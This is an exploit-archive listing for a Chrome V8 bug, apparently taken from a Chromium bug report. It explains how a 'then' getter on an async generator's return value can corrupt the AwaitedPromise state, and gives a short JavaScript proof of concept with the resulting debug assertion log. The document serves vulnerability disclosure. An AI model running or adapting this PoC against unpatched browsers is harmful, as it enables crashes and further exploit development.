Exploits / Vulnerability Discovered : 2018-04-25 |
Type : dos |
Platform : multiple
This exploit / vulnerability Chrome v8 jit awaitedpromise update bug is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
/*
Here's a snippet of AsyncGeneratorReturn. (https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-async-generator-gen.cc?rcl=bcd1365cf7fac0d7897c43b377c143aae2d22f92&l=650)
The Await methods calls ResolveNativePromise which calls InternalResolvePromise which can invoke user JavaScript code through a "then" getter. If the AwaitedPromise is replaced by the user script, the AwaitedPromise will be immediately overwritten after the call to Await, this may lead the generator to an incorrect state.
PoC:
*/
async function* asyncGenerator() {
}
let gen = asyncGenerator();
gen.return({
get then() {
delete this.then;
gen.next();
}
});
/*
Log in debug mode:
abort: CSA_ASSERT failed: IsNotUndefined(request) [../../src/builtins/builtins-async-generator-gen.cc:328]
[2]: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#) {
// optimized frame
--------- s o u r c e c o d e ---------
<No Source>
-----------------------------------------
}
==== Key ============================================